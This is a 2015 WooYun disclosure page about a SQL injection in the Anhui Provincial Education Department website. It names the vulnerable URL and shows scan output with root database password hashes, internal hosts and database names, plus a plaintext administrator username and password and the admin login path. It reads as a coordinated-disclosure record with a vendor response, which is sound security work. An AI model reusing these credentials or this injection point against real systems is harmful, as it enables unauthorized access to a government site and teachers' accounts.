当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0135073

漏洞标题：安徽省教育厅主站SQL注入漏洞(ROOT权限/泄露省内各院校管理账号密码/可操纵各种功能)

相关厂商：安徽省教育厅信息中心

漏洞作者： M4sk

提交时间：2015-08-18 18:25

修复时间：2015-10-04 15:46

公开时间：2015-10-04 15:46

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-08-18： 细节已通知厂商并且等待厂商处理中
2015-08-20： 厂商已经确认，细节仅向厂商公开
2015-08-30： 细节向核心白帽子及相关领域专家公开
2015-09-09： 细节向普通白帽子公开
2015-09-19： 细节向实习白帽子公开
2015-10-04： 细节向公众公开

简要描述：

下课后大家都去那打水，人多经常排队。一天，只见一美女在水龙头前纠结了一会，可怜兮兮的回头对身后的小伙子说：“我杯盖打不开了……” 然后，小伙子说：“啊，没事，我先打吧。”

详细说明：

http://www.ahedu.gov.cn/search?option=all&searchtype=shbs&querycode=1427768180

1.png


Target: 		http://www.ahedu.gov.cn/search?option=all&searchtype=shbs&querycode=1427768180
Host IP:		61.132.133.19
DB Server: 	MySQL >=5
Resp. Time(avg):	275 ms
Current User: 	root@192.168.1.62
Sql Version: 	5.5.34-MariaDB-log
Current DB: 	homepage
System User: 	root@192.168.1.62
Host Name: 	aheduDb1-phDisk.localdomain
Installation dir: 	/website/mysql
DB User & Pass: 	root:*6FB7A14E78514653E647CE5AFB1E9E69464D3DFC:localhost
		root:*6FB7A14E78514653E647CE5AFB1E9E69464D3DFC:localhost.localdomain
		root:*6FB7A14E78514653E647CE5AFB1E9E69464D3DFC:127.0.0.1
		root:*6FB7A14E78514653E647CE5AFB1E9E69464D3DFC:192.168.1.%
		datacopy:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9:192.168.1.%
Data Bases: 	information_schema
		homepage
		mysql
		performance_schema
		test


管理员adminXxzx / Admin123698745
泄露1331名老师用户名和密码

2.png


6.png


找到用户登录后台http://www.ahedu.gov.cn/m/login.shtml
随便登陆一个 可以操作各种文章 如果被黑帽恶意用来SEO就可怕了~

3.png


当然这里的每个用户权限不一样

4.png


11.png


可同步推送到其他的网站

22.png


漏洞证明：

综上

修复方案：

不仅要修复注入 还得修复密码强度 看到好多密码都是4位数字 哎。。。

版权声明：转载请注明来源 M4sk@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：18

确认时间：2015-08-20 15:44

厂商回复：

字符过滤和数据有效性检验，又是一个改密码的好机会→_→

最新状态：

暂无